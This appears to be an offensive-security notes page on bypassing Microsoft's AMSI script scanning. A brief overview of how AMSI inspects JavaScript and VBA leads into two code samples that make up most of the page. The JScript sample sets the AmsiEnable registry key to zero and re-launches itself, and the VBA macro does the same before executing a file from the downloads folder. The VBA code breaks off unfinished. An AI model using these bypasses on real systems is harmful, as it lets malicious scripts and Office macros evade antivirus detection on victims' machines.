JS/VBA Bypasses

Overview

AMSI has integration with both JavaScript and VBA (Visual Basic for Applications). This means that when scripts written in these languages are executed, AMSI can scan the content of the scripts to determine if they are malicious.

For example, when a VBA macro is executed within Microsoft Office, AMSI can log the macro’s behavior, trigger a scan on suspicious behavior, and stop a malicious macro upon detection.

Similarly, when JavaScript code is executed by a Windows component that integrates with AMSI (such as Windows Script Host), AMSI can scan the content of the script to determine if it is malicious.

JScript bypasses

var WsShell = new ActiveXObject("WScript.Shell");
var Key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";

try {
    var Reg = WsShell.RegRead(Key);
    if (Reg != 0) {
        WsShell.RegWrite(Key, "0", "REG_DWORD");
        WsShell.Run("csript.exe -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} " + WScript.ScriptFullName, 0, 1);
        WScript.Sleep(5000);
        WsShell.RegWrite(Key, "1", "REG_DWORD");
    }
} catch (e) {
    WScript.Quit(1);
}

VBA bypasses

regpath = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable"
u = CreateObject("WScript.Network").UserName
e = 0
Set oWSS = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")

On Error Resume Next
r = oWSS.RegRead(regpath)

If Err.Number <> 0 Then
    oWSS.RegWrite regpath, "0", "REG_DWORD"
    j = "c:\\users\\"+u+"\\downloads\\%s"
    Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
    obj.Document.Application.ShellExecute j,Null,"C:\\Windows\\System32",Null,0
    e = 1
    Err.Clear
End If
If Not e Then
e=1

Last updated